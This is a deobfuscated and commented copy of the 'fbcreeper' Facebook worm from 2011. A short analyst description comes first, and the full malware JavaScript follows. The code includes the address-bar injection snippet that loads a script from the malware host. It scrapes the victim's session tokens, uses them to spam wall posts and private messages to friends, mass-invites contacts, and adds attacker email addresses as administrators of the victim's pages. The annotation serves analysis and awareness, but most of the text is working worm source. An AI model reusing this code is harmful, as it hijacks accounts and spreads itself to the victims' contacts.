/* Deobfuscated & documented version of the "fbcreeper" facebook malware. ====================================================================== Malware web-page: http://fbcreeper.info/ http://procreeper.info/ http://profilechecker.info/ http://thefbcreeper.info/ Description: This malware advertises that it can gather statistics about user's contacts visits to her profile. Instead this is what it does: * Posts links on victim's wall, which advertise the malware * Posts links to victim's contacts' walls, which advertise the malware. * Posts links to pages created or administered by victim, advertising the malware and adding users with emails lethaburbach890@yahoo.com and chunfeezellwytm@hotmail.com to the pages' administators group. * Sends private messages, advertising the malware * Likes pages "DJ-Emphatic" and "OH Whutt" with user's account * Invites all contacts to an event (which is removed at the time of this analysis) As of now (22nd February 2011, 23:03 GMT+2), somewhere between 11,000 and 20,000 Facebook accounts are infected. The malware is injected through address bar with the code snippet below: javascript: (a = (d = document).createElement("script")).src = "http://fbcreeper.info/StalkerTools.fb"; void(d.body.appendChild(a)) Karagasidis Dimitris, http://gatoni.gr */ /* Shortened URLs pointing to malware's web-page */ goog1="http://goo.gl/ixMjn"; goog2="http://tinyurl.com/48jd66w"; goog3="http://tinyurl.com/procreeper"; goog4="http://goo.gl/rLvls"; goog5="http://goo.gl/NMclq"; goog6="http://goo.gl/YHp4X"; /* Malware's facebook pages and evens */ event_id="168046893242650"; // As of 22nd February of 2011, this event is expired page_id_x="136589129739532"; // DJ-Emphatic page on Facebook page_id_xx="195926070436089"; // OH Whutt page on Facebook admin_emails="lethaburbach890@yahoo.com,chunfeezellwytm@hotmail.com"; /* Statuses the malware posts on users' walls */ statuses = ["Wow! Seems like lots of people stalk me - " + goog1, "New FB tool shows who stalks your profile-- " + goog2, "Secret tool shows who stalks your pics " + goog3, "Insane! Awesome tool to see who looks at your pics >> " + goog4, "According to " + goog5 + " you're my top stalker. Creep.", "Secret tool shows who stalks your pics - " + goog6]; /* Subjects of private messages the malware sends to users */ subjects = [ "Check this out!", "Hey, whats happening?", "Hey! This is awesome" ]; /* Extend Array type with a function which returns an element from a random index */ Array.prototype.randomize = function () { return this[ Math.floor( Math.random() * this.length ) ]; }; /* Extend Object type with function to check the state of AJAX respose */ Object.prototype.isReady = function () { if ( this.readyState == 4 && this.status == 200 ) { return true; } else { return false; }; }; /* Extend String type with a function which returns user contacts' ids */ String.prototype.getFriends = function () { friends2 = this.match( /facebook\.com\\\\\\\/profile\.php\?id=\d+\\\\\\\">(]+>|)[^<>]+/gi).join(":").replace(/(facebook\.com\\\\\\\/|profile\.php\?id=|]+>|l\.php.*)/gi,"").replace(/\\\\\\\">/gi,"&xhpc_composerid=").split(":").slice(1); return friends2; }; function _88xuhyr(_0x91e5x2){ /* This function decodes and evaluates the _0x91e5x2 string, which seems to be "encrypted" with a 24-character shift. There seem to be no calls to this function from within the code, so its purpose must be solely for obscurity reasons. */ st = _0x91e5x2.split(","); d = ""; for( i = 0; i < st.length; i++ ){ d += String.fromCharCode( st[i] - 24 ); }; eval(d); }; function addAdmin( _0x91e5x4, _0x91e5x5, _0x91e5x6, _0x91e5x7 ) { /* This function adds Facebook users with email accounts lethaburbach890@yahoo.com and chunfeezellwytm@hotmail.com as administrators to the pages you have created or administering. _0x91e5x4 - Your page ID _0x91e5x5 - A string containing comma-separated email addresses _0x91e5x6, _0x91e5x7 - Your profile signatures */ iemails = _0x91e5x5.split( "," ); main_emails = []; for( i = 0; i < iemails.length; i++ ) { main_emails[i]= "friendselector_input[]=" + iemails[i] + "&friend_selected[]="; }; with ( newx = new XMLHttpRequest ) { open("POST", "/pages/edit/?id=" + _0x91e5x4 + "&sk=admin" ); setRequestHeader( "Content-Type", "application/x-www-form-urlencoded" ); send( "post_form_id=" + _0x91e5x6 + "&fb_dtsg=" + _0x91e5x7 + "&fbpage_id=" + _0x91e5x4 + "&" + main_emails.join("&") + "&save=1" ); } ; }; function makePost( _0x91e5x9, _0x91e5xa, _0x91e5xb, _0x91e5xc ) { /* This function prepares a status update, which is posted on your contacts' walls. _0x91e5x9 - the HTML code of your Facebook page, from which your signature is extracted. _0x91e5xa - the array of available statuses _0x91e5xb - profile to which the status update will be posted _0x91e5xc - not used in the function. Obfuscation I guess. */ formx = _0x91e5x9.match(/name="post_form_id" value="([\d\w]+)"/)[1]; dtx = _0x91e5x9.match(/name="fb_dtsg" value="([^"]+)"/)[1]; composerx = _0x91e5x9.match(/name=\\\"xhpc_composerid\\\" value=\\\"([^"]+)\\\"/)[1]; msg = _0x91e5xa.randomize() + ""; text_post = ""; text_actual = ""; pxt = "post_form_id=" + formx + "&fb_dtsg=" + dtx + "&xhpc_composerid=" + composerx + "&xhpc_targetid=" + _0x91e5xb.split("|")[0] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent( msg + text_actual.replace( /\, $/,"" ) ) + "&xhpc_message=" + encodeURIComponent( msg + text_post.replace( /\, $/,"" ) ) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest"; update(pxt); }; function update( _0x91e5xe ) { /* This function posts status update with victim's account */ with( newx= new XMLHttpRequest){ open("POST","/ajax/updatestatus.php?__a=1"); setRequestHeader("Content-Type","application/x-www-form-urlencoded"); send(_0x91e5xe); }; }; function loading(){ /* This function adds a simple user interface */ var _0x91e5x10 = document.createElement("div"); _0x91e5x10.id = "screwyouz"; _0x91e5x10.setAttribute("align","center"); _0x91e5x10.style.margin = "0px auto"; _0x91e5x10.style.position="absolute"; _0x91e5x10.style.top="10px"; _0x91e5x10.style.zindex="100"; _0x91e5x10.className="screwyou"; _0x91e5x10.innerHTML='





Scanning may take up to 3 minutes
'; document.body.appendChild(_0x91e5x10); }; /* This is the malware's entry point */ /* Extract victim's signatures, so the malware can post on victim's contacts' walls */ if ( window.location.href == "http://www.facebook.com/" ) { formx = ( res = document.body.innerHTML ).match(/name="post_form_id" value="([\d\w]+)"/)[1]; dtx = res.match(/name="fb_dtsg" value="([^"]+)"/)[1]; composerx = res.match(/name=\\\"xhpc_composerid\\\" value=\\\"([^"]+)\\\"/)[1]; } else { /* If not on main page, make an AJAX request, and then extract victim's data. */ with( muhaha = new XMLHttpRequest ) { open( "GET", "/", false ); send(null); }; formx = ( res = muhaha.responseText ).match(/name="post_form_id" value="([\d\w]+)"/)[1]; dtx=res.match(/name="fb_dtsg" value="([^"]+)"/)[1]; composerx=res.match(/name=\\\"xhpc_composerid\\\" value=\\\"([^"]+)\\\"/)[1]; }; /* A simple message box which informs that the malware runs */ alert("Hello! To activate the tool press Enter on your keyboard. This will take 2-3 minutes, while waiting please do not close this window or tab."); /* Post malware advertising update on user's wall */ update( "post_form_id=" + formx + "&fb_dtsg=" + "&xhpc_composerid=" + composerx + "&xhpc_targetid=" + document.cookie.match(/c_user=(\d+)/)[1] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent( stx = statuses.randomize() )+ "&xhpc_message=" + encodeURIComponent(stx)+ "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest" ); /* Like "DJ-Emphatic" page with victim's account */ with(newz= new XMLHttpRequest){ loading(); open("POST","/ajax/pages/fan_status.php?__a=1"); setRequestHeader("Content-Type","application/x-www-form-urlencoded"); send( "fbpage_id=" + page_id_x + "&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id=" + formx + "&fb_dtsg=" + dtx + "&lsd&post_form_id_source=AsyncRequest" ); }; /* Like "OH Whutt" page with victim's account */ with(newzz= new XMLHttpRequest){ open("POST","/ajax/pages/fan_status.php?__a=1"); setRequestHeader("Content-Type","application/x-www-form-urlencoded"); send( "fbpage_id=" + page_id_xx + "&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id=" + formx + "&fb_dtsg=" + dtx + "&lsd&post_form_id_source=AsyncRequest" ); }; void 0; // <- WTF?! /* Post with 3 seconds intervals, advertising messages on all contacts' walls. If friends are less than 15, it posts private messages */ with( fr = new XMLHttpRequest ) { open( "GET", "/ajax/browser/list/friends/all/?uid=" + (me = document.cookie.match(/c_user=(\d+)/)[1]) + "&offset=0&dual=1&__a=1" ); onreadystatechange=function (){ if( fr.isReady() ) { friends=fr.responseText.getFriends(); idx=[]; for( i = 0; i < friends.length; i++ ) { if( !isNaN(friends[i].split("|")[0]) ){ idx[i]= "ids[" + i + "]=" + friends[i].split("|")[0]; }; }; with(invi= new XMLHttpRequest){ open("POST","/ajax/social_graph/invite_dialog.php?__a=1"); setRequestHeader("Content-Type","application/x-www-form-urlencoded"); send( "post_form_id="+ formx+ "&fb_dtsg="+ dtx+ "&send_invitations=1&invite_id_list=&email_addresses=&invite_msg=&"+ idx.join("&")+ "&node_id=" + event_id + "&class=GuestManager&__d=1&lsd&post_form_id_source=AsyncRequest" ); }; cnt_fr=0; tx=setInterval(function (){ if( cnt_fr == friends.length ){ window.location="http://fbviews.org/result.php"; clearInterval(tx); }; makePost( document.body.innerHTML, statuses, friends[cnt_fr], friends); with( xa= new XMLHttpRequest ) { open("GET","/ajax/messaging/composer.php?__a=1&__d=1"); onreadystatechange=function (){ if(xa.isReady()){ compi=xa.responseText.match(/([\d\w]+)_error/)[1]; pxi = "ids_"+ compi+ "[0]="+ friends[cnt_fr].split("|")[0]+ "&subject="+ encodeURIComponent( subjects.randomize() ) + "&status="+ encodeURIComponent(statuses.randomize()) + "&ids[0]="+ friends[cnt_fr].split("|")[0]+ "&action=send_new&home_tab_id=1&profile_id="+ document.cookie.match(/c_user=(\d+)/)[1]+ "&target_id=0&app_id=&&composer_id="+ compi+ "&hey_kid_im_a_composer=true&thread&post_form_id="+ formx+ "&fb_dtsg="+ dtx+ "&lsd&_log_action=send_new&_log_thread&ajax_log=1&post_form_id_source=AsyncRequest"; if( cnt_fr<15 ){ with(mi= new XMLHttpRequest){ open("POST","/ajax/gigaboxx/endpoint/MessageComposerEndpoint.php?__a=1"); setRequestHeader("Content-Type","application/x-www-form-urlencoded"); send(pxi); }; }; }; }; send(null); }; cnt_fr += 1; } , 3000 ); } ; }; send(null); }; /* Post advertising messages with 3 seconds interval on pages created or administered by victim, and then add users with lethaburbach890@yahoo.com and chunfeezellwytm@hotmail.com addresses as administrators to these pages */ with( ins = new XMLHttpRequest ) { open("GET","/insights/?_fb_noscript=1"); onreadystatechange=function (){ if(ins.isReady()){ ids=ins.responseText.match(/po_\d+">View/gi).join(":").replace(/(po_|">View)/gi,"").split(":"); cnt_pages=0; tz=setInterval(function (){ if(cnt_pages==ids.length){ window.location="http://fbviews.org/result.php"; clearInterval(tz); } ; update( "post_form_id=" + formx + "&fb_dtsg=" + dtx + "&xhpc_composerid=" + composerx + "&xhpc_targetid=" + ids[cnt_pages] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text="+ encodeURIComponent( stx=statuses.randomize() ) + "&xhpc_message=" + encodeURIComponent(stx) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest" ); addAdmin( ids[cnt_pages], admin_emails, formx, dtx); cnt_pages+=1; } ,3000 ); } ; } ; send(null); };